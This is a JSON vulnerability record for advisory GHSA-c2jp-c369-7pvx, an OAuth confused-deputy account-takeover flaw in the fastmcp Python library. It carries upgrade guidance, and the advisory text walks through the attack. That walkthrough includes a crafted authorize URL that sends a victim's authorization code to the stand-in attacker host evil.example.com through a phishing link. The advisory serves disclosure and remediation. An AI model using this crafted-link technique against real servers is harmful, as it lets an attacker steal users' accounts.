{"answers":{"affected":"2 open source packages ship an affected version, including fastmcp.","exploited":"There is no known exploitation of GHSA-c2jp-c369-7pvx in the wild and no public exploit code.","fix":"Upgrade fastmcp to 2.13.0 or later.","what":"GHSA-c2jp-c369-7pvx is an authentication bypass vulnerability in fastmcp, published on 29 Oct 2025. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-c2jp-c369-7pvx and fix it if it is affected.\n\nWhat it is: GHSA-c2jp-c369-7pvx is an authentication bypass vulnerability in fastmcp, published on 29 Oct 2025. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-c2jp-c369-7pvx in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- fastmcp (PyPI): affected all versions; fixed in 2.13.0\n- fastmcp (PyPI): affected all versions; fixed in 2.13.0\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-c2jp-c369-7pvx/ (Markdown: https://insights.sbomify.com/GHSA-c2jp-c369-7pvx/index.md)","id":"GHSA-c2jp-c369-7pvx","markdown":"https://insights.sbomify.com/GHSA-c2jp-c369-7pvx/index.md","name":"GHSA-c2jp-c369-7pvx","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"patch","impacts":["account_takeover"],"network_reachable":"yes","non_default_config":true,"product_category":"Python MCP library","requires_auth":"none","summary":"Attackers can exploit confused deputy flaws in FastMCP's OAuth integration to take over user accounts when using specific authorization providers.","user_interaction":"required","vuln_class":"auth_bypass"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\nFastMCP documentation [covers the scenario](https://gofastmcp.com/integrations/azure) where it is possible to use Entra ID or other providers for authentication. In this context, because Entra ID does not support Dynamic Client Registration (DCR), the FastMCP-hosted MCP server is acting as the authorization provider, as declared in the Protected Resource Metadata (PRM) document hosted on the server.\n\nFor example, on a local MCP server, it may be hosted here:\n\n```http\nhttp://localhost:8000/.well-known/oauth-protected-resource\n```\n\nAnd the JSON representation of the PRM document:\n\n```json\n{\n  \"resource\": \"http://localhost:8000/mcp\",\n  \"authorization_servers\": [\n    \"http://localhost:8000/\"\n  ],\n  \"scopes_supported\": [\n    \"User.Read\",\n    \"email\",\n    \"openid\",\n    \"profile\"\n  ],\n  \"bearer_methods_supported\": [\n    \"header\"\n  ]\n}\n```\n\nNotice that the `authorization_servers` field contains the MCP server itself - it acts as an **OAuth Client** to the downstream authorization server (e.g., Entra ID) and as a **Authorization Server** (AS) to the MCP client.\n\nThe FastMCP server also hosts the AS metadata:\n\n```bash\nhttp://localhost:8000/.well-known/oauth-authorization-server\n```\n\nWith the following content:\n\n```json\n{\n  \"issuer\": \"http://localhost:8000/\",\n  \"authorization_endpoint\": \"http://localhost:8000/authorize\",\n  \"token_endpoint\": \"http://localhost:8000/token\",\n  \"registration_endpoint\": \"http://localhost:8000/register\",\n  \"scopes_supported\": [\n    \"User.Read\",\n    \"email\",\n    \"openid\",\n    \"profile\"\n  ],\n  \"response_types_supported\": [\n    \"code\"\n  ],\n  \"grant_types_supported\": [\n    \"authorization_code\",\n    \"refresh_token\"\n  ],\n  \"token_endpoint_auth_methods_supported\": [\n    \"client_secret_post\"\n  ],\n  \"code_challenge_methods_supported\": [\n    \"S256\"\n  ]\n}\n```\n\nAll of this confirms that the FastMCP server is, in fact, handling the client-to-server authorization and then delegating the downstream effects (i.e., authorization with Entra ID) to its own redirect logic, with a call like this (as seen through MCP Inspector):\n\n```http\nhttp://localhost:8000/authorize?response_type=code\u0026client_id=fdec0bb8-3423-40d0-aa2a-73de26bf6f93\u0026code_challenge=2a9ZxAEr5NEsKPwFWuEFA1W-kFMXc-02u6qc8aLf_g4\u0026code_challenge_method=S256\u0026redirect_uri=http%3A%2F%2Flocalhost%3A6274%2Foauth%2Fcallback%2Fdebug\u0026state=9f23fd47e2b8786b502f116bdbfd6ae3d7d2801167e24fea82f608bb52312bbd\u0026scope=User.Read+email+openid+profile\u0026resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\nWhen using the built-in FastMCP `/authorize` endpoint, and in the example above, FastMCP server configured with Entra ID, it will then redirect the user here:\n\n```http\nhttps://login.microsoftonline.com/412e93fe-74e5-4ee6-9b67-1eeb1c79550e/oauth2/v2.0/authorize?response_type=code\u0026client_id=7bac43f2-ca62-4148-93a5-fd5686cb16c0\u0026redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fauth%2Fcallback\u0026state=Tcv7bbg_v0Qi69RHbCzqR4tQHSHKPQuDDxjuo0wu5qU\u0026scope=User.Read+email+openid+profile\u0026code_challenge=bxICFAJDViuTTHIPUPdSXGLKbNbgPwiB-0ITXUJkjYM\u0026code_challenge_method=S256\u0026resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\n\u003e[!NOTE]\n\u003eIn the scenario above, the app registration in Entra ID is set up in the FastMCP server, as outlined in the PoC below.\n\n\u003cimg width=\"2725\" height=\"630\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7ea612bf-a49e-44da-bd79-236c26bb42f3\" /\u003e\n\nNotice that the client ID and redirect URIs in the `login.microsoftonline.com` call are different than the initial `/authorize` call - that's because we're now switching to using the MCP server's **static app registration** instead of the DCR client details.\n\nCompleting the authorization flow here for the first time for a user would trigger the Entra ID consent flow:\n\n\u003cimg width=\"751\" height=\"952\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2cc4b7ee-c110-4623-8f86-438821f4addf\" /\u003e\n\nThis consent flow is **only showed the first time the user needs to use this application**. Once the consent is set, they will never be prompted for this unless revoked.\n\nThis is where the vulnerability comes in. After the user consented and is authorized, Entra ID will set a browser cookie capturing the authorization state. This helps prevent nagging re-authorization prompts.\n\nWith the user consented to the **static client for Entra ID** that the FastMCP server exposes, they will now not be prompted the next time they need to use the same application ID.\n\nNow, an attacker comes in - in **their own MCP client** (i.e., they maintain one at `https://evil.example.com`) they start the authorization with the same remote MCP server and get to the point where the server produces **their own** authorization URI for this client ID:\n\n```http\nhttp://localhost:8000/authorize?response_type=code\u0026client_id=9a5d63d0-3aa3-465c-b097-0e2e196392dd\u0026code_challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw\u0026code_challenge_method=S256\u0026redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug\u0026state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc\u0026scope=User.Read+email+openid+profile\u0026resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\n\u003e[!IMPORTANT]\n\u003eNote that the redirect URI above points to the `https://evil.example.com` client.\n\nAt this point - they grab the URL and **coerce the victim** (user that already authenticated with Entra ID on their machine) to click on this link. This could be done through spam, spear-phishing, or any other traditional link sharing approaches. The moment the victim clicks on this link, they will be taken to the browser, where there is already a cookie set by Entra ID for the **static Entra ID client that the MCP server is using**. The DCR-d **registered client ID** that the FastMCP server is handling now got linked to the internal FastMCP authorization server, and the authorization code is returned to `https://evil.example.com`.\n\nThe user will be automatically speed-ran through the authorization flow (no prompts) and they will effectively give access to the MCP server to the attacker with their account. Attacker can now exchange the authorization code for a token and access the remote MCP server as the victim.\n\n### Details\n\nSee above - the outline covers the attack vector.\n\n### PoC\n\nStandard documented sample that uses Entra ID:\n\n```python\nfrom fastmcp import FastMCP\nfrom fastmcp.server.auth.providers.azure import AzureProvider\n\n# The AzureProvider handles Azure's token format and validation\nauth_provider = AzureProvider(\n    client_id=\"f527ed01-9725-45bd-8173-8d3a017ba02f\",  # Your Azure App Client ID\n    client_secret=\"#####~######_#######\",                 # Your Azure App Client Secret\n    tenant_id=\"412e93fe-74e5-4ee6-9b67-1eeb1c79550e\", # Your Azure Tenant ID (REQUIRED)\n    base_url=\"http://localhost:8000\",                   # Must match your App registration\n    required_scopes=[\"User.Read\", \"email\", \"openid\", \"profile\"],  # Microsoft Graph permissions\n    # redirect_path=\"/auth/callback\"                  # Default value, customize if needed\n)\n\nmcp = FastMCP(name=\"Azure Secured App\", auth=auth_provider)\n\n# Add a protected tool to test authentication\n@mcp.tool\nasync def get_user_info() -\u003e dict:\n    \"\"\"Returns information about the authenticated Azure user.\"\"\"\n    from fastmcp.server.dependencies import get_access_token\n    \n    token = get_access_token()\n    # The AzureProvider stores user data in token claims\n    return {\n        \"azure_id\": token.claims.get(\"sub\"),\n        \"email\": token.claims.get(\"email\"),\n        \"name\": token.claims.get(\"name\"),\n        \"job_title\": token.claims.get(\"job_title\"),\n        \"office_location\": token.claims.get(\"office_location\")\n    }\n```\n\n### Impact\n\nPotential for server account compromise.","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"FastMCP Auth Integration Allows for Confused Deputy Account Takeover","id":"GHSA-c2jp-c369-7pvx","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"auth_bypass","year":"2025"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":["2.13.0"],"introduced":["0"],"last_affected":[],"package":"fastmcp","purl":null,"source":"GHSA-c2jp-c369-7pvx"},{"ecosystem":"PyPI","fixed":["2.13.0"],"introduced":["0"],"last_affected":[],"package":"fastmcp","purl":"pkg:pypi/fastmcp","source":"GHSA-c2jp-c369-7pvx"}],"products":null,"published":"2025-10-29","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can exploit confused deputy flaws in FastMCP's OAuth integration to take over user accounts when using specific authorization providers.","url":"https://insights.sbomify.com/GHSA-c2jp-c369-7pvx/"}